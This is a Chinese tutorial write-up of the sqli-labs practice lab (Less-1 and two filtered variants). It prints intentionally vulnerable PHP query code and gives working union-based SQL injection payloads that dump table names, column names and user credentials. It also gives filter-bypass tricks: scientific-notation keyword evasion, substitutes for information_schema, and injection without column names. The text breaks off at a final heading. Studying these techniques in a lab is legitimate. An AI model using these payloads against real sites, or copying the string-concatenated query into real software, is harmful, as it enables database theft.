目录
③SELECT * FROM users WHERE id='$id' LIMIT 0,1
一、SQL Injections
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行, 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
二、sqli-labs
1.less-1
(1)代码解析
<?php
//including the Mysql connect parameters. 数据库连接
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id'])) 接用户的输入id
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a'); 打开一个文件
fwrite($fp,'ID:'.$id."\n"); 用户输入的内容写入文件
fclose($fp); 管道关闭
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; 输入的查询语句(1条)
$result=mysql_query($sql);
$row = mysql_fetch_array($result); 查询出来为数组row
if($row) 若数组存在,即可以查询到用户输入的id
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username']; 这条数据被包装成数组
echo "<br>";
echo 'Your Password:' .$row['password']; 数组包含username和password
echo "</font>";
}
else 数组中未取到值
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";} 未get传参
?>
从数组中取值取出它的key,将值放入前端并写了html样式,若没取到,mysql会将报错打印,若最上面未使用get传参id,则会让你输入数字类型的id。
①使用get传参,$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";语句中传入的id,其实是users表中的id,id字段其实就类似于身份证编号是唯一可以区分用户的,如下图所示:
使用id作为限制条件查出某个人:
②将下图中的注释打开,即可得到我们查询到的数组的数据
由上图可知,数组是以key取值的。
(2)查询语句的利用
SELECT * FROM users WHERE id='$id' LIMIT 0,1
以字符串拼接的方式查询,并用单引号包裹,若id='1'是可行的,但如果传入了1'(相当于id='1''),产生如下图的报错:
单双引号一定是成对出现的,所以我们可以尝试逃逸出/闭合单引号,并进行数据查询(作为一个入侵者,要查询管理员的数据。
①查询方式
a:联合查询
由上图可知,联合查询时,两张表的列必须相同。
前端注入数据仅显示username和password,所以2、3字段要在出数据。
b:and
(3)利用过程
①得到用户名和密码的前提
处于哪个数据库下? 哪个表?哪个字段里面?
security数据库下的users表中的username和password字段。
若此时代码中是存在注入点的,可以使用联合查询编写sql查询语句,我们可以查询出前置信息:mysql版本号(有些版本存在漏洞)、用户权限(是否为root,若为root成功率更高)、当前所在数据库 。
mysql> select version();
mysql> select user();
mysql> select database();
q:普通用户,管理员后台找不到,密码无法破解???
a:尝试挖网站的存储型xss
②联合查询
此时是没有数据库权限的,仅有前端页面,使用联合查询如何知晓一个表有几列?
使用order by函数(排序 )
排序可以使用1代表id作为第一列进行排序,如图当使用第四列排序时出错,我们可知仅有三列。
③SELECT * FROM users WHERE id='$id' LIMIT 0,1
由order by函数,我们可以对php代码中sql查询语句做如下利用:
SELECT * FROM users WHERE id='1' oder by 1-- ' LIMIT 0,1
mysql注释方式:
单行注释:--(一个空格)
#
多行注释:/**/ */
--空格 :在url中要转换为--+
上图中展示报错是由于 print_r(mysql_error());
④联合查询时前面为假后面才会为真
完成前三步后,做如下操作,查询未成功:
是由于在联合查询时前面为假后面才会为真!!!(前面的查到了后面的就不再执行了)
可以利用一个不存在的id(例如-1):
⑤可控字段
联合查询时将两张表连在一起进行查询,最后一行出现的是最后一个表的字段(1,2,3,),拼接的这张表三个字段,第一个字段为1,第二个字段2,第三个字段3,在前端展示时本来为username和password,此时为2和3,2字段为username,3字段为password。
本来没有联合查询时,前端展示出第一条的数据,使用联合查询有两条,输出了最后一条展示在前端,此时2和3其实是我们可以控制的,如下图:
我们可以使用输出再次理解(打开下图中的注释):
此时查询到的数据不再是具体的username和password,而上图中第一行代码为查询语句,这个查询语句查询的时表中的最后一行(row是行),相当于将两张表的查询结果拼在一起,第一张表查询结果是1 Dumb Dumb,第二张表查询结果是1 2 3,查询语句获取到最后一行的数据,找到username和password的字段,于是将2 3取出来展示到前端了。
综上,我们可以对输出的2,3字段进行利用:
如上图,得到了我们想要的数据,其实对1字段可以进行利用,只是它无法展示在前端而已。
(4)注入查询数据
①终端注入
information_schema是官方的库名,不会更改。
mysql> desc tables;
mysql> select table_schema from tables;
查询出的这个字段中包含security这个库:
将库名作为条件,查出当前数据库中的表名:
mysql> desc columns;
查询security库下users表中所有的列:
查询到管理员的账号和密码:(密码需要解密)
②网页注入
?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+
此时我们可以查询到security库中所有表
?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+
?id=-1%27%20union%20select%201,group_concat(username,0x3a,password),3%20from%20users--+
concat:只能查询一行的数据
函数group_concat:多行连接成一行展示
使用limit语句具体到一行进行查询:
?id=-1' union select 1,concat(username,0x3a,password),3 from users limit 1,1--+
?id=-1' union select 1,concat(username,0x3a,password),3 from users limit 2,1--+
0x3a是冒号
(5)less-1.1
在源码中$id=$_GET['id'];之后加入如下代码:
if(preg_match('/select\b[\s\S]*\bfrom/is',$id)){
die('SQL Injection');
};
①分析正则
第一个\b匹配select单词边界,\s\S匹配到所有字符,最后一个\b匹配到from单词边界。
select...from被过滤,失效。
②科学计数法的引入
如果可以存在一个关键词,可以加在from前面,不会影响语句执行,从而实现绕过正则。
select group_concat(username,0x3a,password),le1from users;
1e1
上图中,相当于多出了一列le1,所以前面必须要有逗号。
?id=-1' union select 1,concat(username,0x3a,password),1e1from users limit 2,1--+
(6)less-1.2
在源码中$id=$_GET['id'];之后加入如下代码:
if(preg_match('/information/is',$id)){
die('SQL Injection');
};
这段代码绕过了information库(查询的表都在此库中),我们需要找到一个可替代库。
①替代库
sys.x$schema_table_statistics_with_buffer
sys.x$schema_table_statistics
sys.x$ps_schema_table_statistics_io
但这几个库都需要有root权限才可以使用,但还有如下表同样存放有库名表名 。(sys.schema_auto_increment_columns 这个库有点局限 需要root 才能访问。 )
sys.schema_auto_increment_columns
sys.schema_table_statistics_with_buffer
mysql.innodb_table_stats
mysql.innodb_table_index
均可代替 information_schema
②无列名注入(使用join-using注列名)
使用上述库不存在列名,只能查到库名和表名。
?id=-1' select * from (select * from users as a join users as b)as c--+
select * from后面跟表名,表名就是括号内查询的结果,而查询结果存在一个别名c,括号内子查询,users给自己一个别名a,然后连接了自己,给自己连接的值别名为b,两张相同的表相连,查询的结果赋值给c,此时由于users表连接自己,所以查询时会出现某些字段重复的提示,测试如下图:
将上述两张相同的表通过id、username、password连接起来,此时id、username和password不再重复(将id排除在外),使用id以外的其他值去连接
?id=-1' union select * from (select * from users as a join users as b using(id,username,password))as c--+
此时列名均已取出。
成功查到数据!
③不使用列名进行注入
要知道列名在第几列,由于回显了2、3列,所以肯定是在2、3列替换。
下列语句中,先进行了联合查询,然后将查询结果给一个别名a,然后外部查询第三列的内容。
上图中使用数据与列名进行连接,3外面是反引号,查询第三列的内容(password)。
这种情况下实际是不知道列名password的,但只查出在前端页面上回显出的数据所应的列也就是第三列,如果不清楚就去换一列继续查询。
q:若上述中的反引号被过滤,使用别名: